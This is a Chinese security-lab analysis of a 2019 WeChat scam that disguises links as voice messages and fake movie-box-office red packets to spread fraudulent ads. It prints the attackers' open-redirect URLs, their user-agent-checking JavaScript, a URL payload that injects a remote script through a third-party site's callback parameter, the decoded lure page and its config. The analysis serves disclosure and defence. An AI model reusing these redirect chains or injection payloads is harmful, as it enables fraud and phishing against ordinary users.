作者:启明星辰ADLab
公众号:ADLab

一、事件简介

近期,启明星辰ADLab收到客户反馈:在使用微信的过程中疑似出现“中毒”现象,用户在群聊中收到“微信语音”,点开后却提示领取“流浪地球电影票房红包”,打开红包并答题后需要分享至微信群方可“提现”。由于页面交互逼真,不明真相的用户纷纷中招,造成诸多群聊中出现了“群邀请” 、“语音”和“广告”等欺骗性分享链接,并成病毒式快速传播。链接指向“老中医”、“投资指导”和“低俗小说”等恶意广告,诱导用户添加微信或关注公众号,之后一步步通过骗取定金或彩票刷单等手段诈骗用户财产,稍有不慎就会落入圈套。

启明星辰ADLab迅速对此进行了分析,发现这是一起针对普通用户的微信灰产恶意广告诈骗事件。灰产团伙将网页URL伪装成“微信语音”,以链接的方式发送给用户和微信群,借助10086、微信和爱奇艺等网站的跳转链接将“语音”重定向至灰产URL,同时伪造了红包界面,隐藏了微信的菜单和按钮接口。页面后台多次跳转防封,并将用户的返回操作定向到新广告页面,前台则利用近期的热点电影“流浪地球”进行炒作,最终以红包提现的噱头引诱用户分享恶意广告,传播牟利,甚至以红包作为幌子发布钓鱼链接。事件整体流程如图所示:

二、技术分析

“语音”链接经过重定向和多次跳转后才加载至红包界面,我们猜测该团伙是考虑到腾讯的查封规则,为有效增加存活时间,首先通过知名域名的重定向来规避检查,其使用过的可重定向URL如下:

  1. http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=
  2. https://as.weixin.qq.com/cgi-bin/amazing?url=
  3. https://36kr.com/jump?url=(失效)
  4. https://bird.sns.iqiyi.com/jump?jump_url=

重定向、多次跳转和JS脚本执行的主要流程如下(实际跳转可能随时变化):

下面针对其中的主要过程进行分析阐释。

2.1 链接重定向

黑客疑似通过微信JS-SDK自定义文案与图标伪造“语音”链接,当用户点击“语音”链接时会被重定向,数据包请求内容如下:

GET 
/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=http%3A%2F%2Fqnimg.9igcw.com%2Ff22b419d44ff4fc89125e8cd29c186b2%3F7nbgtxb%3D7nbgtxb%26_c%3D5052 HTTP/1.1
Host: rd.go.10086.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4
Connection:keep-alive

数据包回应内容如下:

HTTP/1.1 302 Found
Server: nginx
Date: Thu, 28 Feb 2019 06:26:40 GMT
Content-Type: text/html
Content-Length: 0
Cache-Control: no-cache
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Set-Cookie: JSESSIONID=1BB9D91C996A06399CCB819628E9A865; Path=/remind
Location: http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052
Proxy-Connection: keep-alive

2.2 链接跳转

重定向目标地址链接不固定,我们发现的两个链接如下:

  1. http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052
  2. http://image.dushemovie.com/5782e5f29cbf43f99839368b75c5b4d2?5wwot3p=5wwot3p&_c=5052

以链接1为例,请求目标为image/svg+xml类型,请求数据内容如下:

GET /f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052 HTTP/1.1
Host    qnimg.9igcw.com
Accept  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent  Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400
Accept-Encoding gzip, deflate
Accept-Language zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4
Connection  keep-alive

数据包回应Headers内容如下:

HTTP/1.1 200 OK
Server: Tengine
Content-Type: image/svg+xml
Content-Length: 285
Date: Thu, 28 Feb 2019 04:48:00 GMT
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: X-Log, X-Reqid
Access-Control-Max-Age: 2592000
Cache-Control: public, max-age=31536000
Content-Disposition: inline; filename="f22b419d44ff4fc89125e8cd29c186b2"; filename*=utf-8' 'f22b419d44ff4fc89125e8cd29c186b2
Content-Transfer-Encoding: binary
Etag: "FtABqMD18XgR60Q7wmUamU9uUx5l"
Last-Modified: Sun, 11 Nov 2018 03:29:41 GMT
X-Log: redis.g;DC;IO:1
X-M-Log: QNM:xs460;QNM3
X-M-Reqid: -XEAAFpARvTCbYcV
X-Qiniu-Zone: 0
X-Qnm-Cache: Hit
X-Reqid: IFUAAF3TM4jTYIcV
X-Svr: IO
Ali-Swift-Global-Savetime: 1551329280
Via: cache14.l2et15[26,200-0,M], cache16.l2et15[27,0], cache19.cn1088[0,200-0,H], cache19.cn1088[1,0]
Age: 5918
X-Cache: HIT TCP_HIT dirn:11:386590902
X-Swift-SaveTime: Thu, 28 Feb 2019 04:48:00 GMT
X-Swift-CacheTime: 2592000
Timing-Allow-Origin: *
EagleId: 73e7282715513351989788044e
Proxy-Connection: keep-alive

其中数据包回应内容包含新链接至 https://api.meipaifan.cn/j

2.3 JavaScript脚本

请求URL:https://api.meipaifan.cn/j为JavaScript脚本,内容如下:

var ua = navigator.userAgent;
if (ua.indexOf("MicroMessenger") > 0) {    //判断是否为微信浏览器
    var noreferrer = true;
    try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {};
    if (top != window || !document.body){
        top.location.href = 'https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052';
    }
    else{
        var a=document.createElement('a');a.href='https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052';if(noreferrer) a.rel='noreferrer';a.click();
    }
};

JS脚本会通过navigator.userAgent.indexOf来判断浏览器类型,若不是微信浏览器返回404。

若为微信浏览器,则继续判断页面为前端或后端,再分别依据两种策略进行后台访问(访问链接可变如:https://tj.esf.fang.com)暗刷流量,在应答的数据中包含Script脚本指向另外一个新链接(JS脚本),如下图所示:

新链接(api.51bjbj.com/j?xload=1)通过脚本解码出网页内容:

解码后的网页内容如下:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>...</title>
  <!--庆祝拼多多营收1000亿美元送红包-->
  <meta name="viewport"
        content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover"/>
  <meta name="format-detection" content="telephone=no">
  <meta name="applicable-device" content="mobile">
  <link rel="stylesheet" href="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/css/d.css">
  <script>
    window.focusLocation = {};
  </script>
</head>
<body>
<script src="//res.wx.qq.com/open/js/jweixin-1.0.0.js"></script> 
<script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/lib/js/jquery.min.js"></script>
<script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/lib/core.js"></script>
<script src="https://api.51bjbj.com./config?var=window.data&sign=0"></script>
<script>
  //  location.href = 'http://m3.tuniucdn.com/fb2/t1/G5/M00/FD/03/Cii-s1s1vLaIR3iWAAAAlO4kMEYAAG3DQP__nQAAAGM31.html?fsrc=rabbit&type=wz3';
   M.loadJS('https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=' + (+new Date()));
</script>
</body>
</html>

该网页引入了微信JS-SDK、Jquery库、core.js和api.51bjbj.com内的JS脚本,其中core.js包含自定义的各种功能回调函数如:loadJS、hideShare和setBack等。

https://api.51bjbj.com./config?var=window.data&sign=0 则包含自定义的数据结构,指向的JS脚本如下:

window.data = {
    "ad": {
        "app_url": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4",
        "desc": "\"\u5a07\u5a07\"\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a\uff0c90\u540e\u5355\u8eab\u59b9\u5b50\u65e5\u5165\u8fc7\u4e07\u7fa4\uff0c\u8fdb\u7fa4\u67e5\u770b\u8be6\u60c5",
        "timeline_url": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4",
        "img": "https://butuyu.oss-cn-hangzhou.aliyuncs.com/images/qun.png",
        "title": "\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a"
    },
    "attached": {
        "case": "7675-hb",
        "signmode": "jsb",
        "back_api": "https://zjygx.com/backup/args/bg_back.php", 
        "ad_share": {
            "pyq": [0, 0],
            "qun": [0, 0, 0, 0, 0, 0]
        },
        "timeline_ad": true,
        "player": {
            "delaytime": 538,
            "vid": "c0763pr60i5"
        },
        "needWhite": false,
        "group_ad": true,
        "iosGoAdUrl": "",
        "eqc": {
            "s": "qngroup001/u4421337/1/0/c0d23906977fa89d18691744a2a21336.js",
            "ib": 6,
            "i3": 1,
            "ic": 4,
            "d": "qngroup001/u4420461/1/0/2405846441888db771cd590562fafb16.js"
        }
    },
    "cnzz": "",
    "hm": "0c1ecc9c91cfd52db097fbe47eb75864",
    "to_timeline": {
        "redirect": "",
        "ad_weight": "100",
        "ad_id": "9986",
        "ad": false,
        "ok_msg": "",
        "title": "{fuck}{fuck}",
        "img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg",
        "landing": "",
        "link": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fyppphoto.yupaopao.cn%2Fh73qh1s6oy.svg%3FHN8EuIO0%3DHN8EuIO0%26_c%3D5052",
        "desc": ""
    },
    "to_group": {
        "redirect": "",
        "link": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fservice.ccmapp.cn%2Fvideaapi%2Fzcm%2Fupload%2Focimg%2F1546916994398.svg%3F9qZlETf4%3D9qZlETf4%26_c%3D5052",
        "img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg",
        "title": "{fuck}{fuck}",
        "desc": "{fuck}\u2709",
        "back_url": ""  
    }
}

数据中“img”字段指向了恶意传播的URL伪装图片:

在使用loadJs()加载文件后,https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=1551335205185 内含的JS脚本会执行红包界面的逻辑内容,简要示例如下:

“<p style="font-size: 24px;">庆祝流浪地球电影票房破40亿</p>”即是前端恶意推广的红包标题。

该脚本还包含了goShare函数进行分享操作如图:

其中,https://api.51bjbj.com./getshare请求将链接至http://weixin.site.eqxiu.com/...(不固定),并加载JS脚本。如图:

https://s.51bjbj.com./jssdk/shareurl?_c=则指向分享页面的网页来源如:obs-cn-shenzhen.yun.pingan.com

此外我们注意到,作者在前端隐藏了微信的官方菜单接口。如图:

若用户将“红包”分享至群聊,则会生成多种形式的伪装界面,目前已知的形式分别为“群邀请”、“语音”和“广告链接”,如图所示:

当用户点击分享后的链接时,依然会被重定向至灰产URL并弹出广告。需要注意的是网页在后台 “锁定”了返回操作,用户在尝试返回时页面会轮循刷新广告。如图所示:

链接通过重定向和跳转最终定位到广告:

部分恶意广告原始链接如下:

三、溯源关联

我们尝试添加了几位“老中医”和“投资导师”,画风是这样的:

基本可以判断“红包”推送的广告为骗取定金或彩票刷单等诈骗行为,对方往往非常耐心,环环相诱,用户稍不留意就有可能落入圈套,造成财产损失。

此外,我们通过分析https://api.51bjbj.com./config?var=window.data&sign=0返回的JS脚本,在其接口数据中发现了CNZZ数据统计请求的链接。如图:

https://bird.sns.iqiyi.com/jump?jump_url=pic.app.dqdaily.com/20180510_67388_1551592980824.jpg?1zhF8Obn=1zhF8Obn&_c=7675链接指向了相似模板的旧版“恶意红包”。

可见该团伙年初便开始了恶意活动,不过其旧版广告链接已被查封。在进一步抓包分析后,我们发现重定向后的链接请求为:

Location:

https://open.weixin.qq.com/connect/oauth2/authorize?appid=wxd588ca9e0a8b634e&redirect_uri=http%3A%2F%2Fbird.sns.iqiyi.com%2Fwx%2Fwxd588ca9e0a8b634e%2Fpic.app.dqdaily.com%252F20180510_67388_1551592980824.jpg%253F1zhF8Obn%253D1zhF8Obn&response_type=code&scope=snsapi_base&state=MSG#wechat_redirect

请求包含了微信开发者appid: wxd588ca9e0a8b634e。依此我们关联到了某视频厂商的红包链接。

灰产团伙有可能参照过该厂商的红包模式,并借助其URL实现了微信客户端重定向跳转(https://bird.sns.iqiyi.com/jump?jump_url=)。值得注意的是,此类厂商提供的会员红包奖励往往需要授权登录账号,这给灰产团伙创造了很好的钓鱼机会,通过登录钓鱼等手段窃取用户资料和账号从而造成更大的破坏。此类团伙游走在法律的边缘,今天可以推送恶意广告,明天就能随时变身网络钓鱼。

四、总结分析

综上分析,当前微信的灰产利用正变得越发具有欺骗性和传播性。一些团伙通过技术手段制作以假乱真的“语音”、“群邀请”等链接来引诱用户点击,利用重定向和多级跳转规避检查,再结合逼真的“红包”交互攻击用户,利用用户急切获取红包的心理进行诱导关注、诈骗钱财和恶意传播。普通用户往往难以分辨真假,极易沦为灰产的传播工具,不仅自身可能遭受财产损失,还会帮助恶意流量大面积扩散。希望此类事件可以引起厂商和广大用户的高度警惕,防微杜渐,持续警惕灰产的各类恶意活动,共同维护好网络秩序。


启明星辰积极防御实验室(ADLab)

ADLab成立于1999年,是中国安全行业最早成立的攻防技术研究实验室之一,微软MAPP计划核心成员,“黑雀攻击”概念首推者。截止目前,ADLab已通过CVE累计发布安全漏洞近1000个,通过 CNVD/CNNVD累计发布安全漏洞近500个,持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。

img


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/840/